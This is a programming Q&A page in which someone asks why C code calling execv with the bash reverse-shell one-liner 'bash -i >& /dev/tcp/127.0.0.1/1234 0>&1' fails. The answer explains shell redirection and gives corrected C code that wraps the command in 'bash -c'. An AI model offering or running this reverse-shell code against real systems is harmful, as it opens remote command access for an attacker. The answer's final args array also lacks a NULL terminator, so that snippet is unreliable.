Search code examples
clinuxbashgccshellcode

bash -i >& /dev/tcp/127.0.0.1/1234 0>&1


I know that some part of the above title has already been asked but I still have some confusions. Actually, I don't really get the ">&" in bash -i >& /dev/tcp/127.0.0.1/1234 0>&1 My main goal is to compile the following code:

 *#include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 int main(){
 char *prog = "/bin/bash";
 /*bash -i >& /dev/tcp/127.0.0.1/1234 0>&1*/
 char *args[5] = {"/bin/bash", "-i",  ">&", "/dev/tcp/127.0.0.1  /1234","0>&1"};

execv(prog, args);
return 0;
}

it get compiled but when I execute the corresponding binary file, it gives me back the following error: bash: >&: No such file or directory

Any explanation would be really highly appreciated ;)!


Solution

  • When you run:

    bash -i >& /dev/tcp/127.0.0.1/1234 0>&1
    

    on a command prompt, your current shell (the one that displays the prompt and waits for commands) interprets the redirections.

    When you run an external program using one of the exec*() functions there is no shell out there to parse the command line and interpret the redirections. execv() launches bash that with the rest of the command line as arguments.

    The command line of bash is:

    bash options file
    

    where the options start with a dash (-).

    It probably interprets -i successfully then, because >& doesn't start with a dash (-) it thinks it is a file name. It cannot find such a file, it reports the error ">&: No such file or directory" and exits.

    You should use either system() to launch a shell and provide it the entire command line, or popen() (it allows you to also pass some input to the new process after it starts).

    Both these functions create a new process. Since your original code uses execv() and the exec*() functions replace the current running process with a new one, you should probably exit() after you launch the new process to get your current behaviour.


    It is possible (I didn't test) that also launching the following command using execv() will produce the result you expect:

    bash -c "bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"
    

    In C:

    char *prog = "/bin/bash";
    char *args[] = {"/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"};
    execv(prog, args);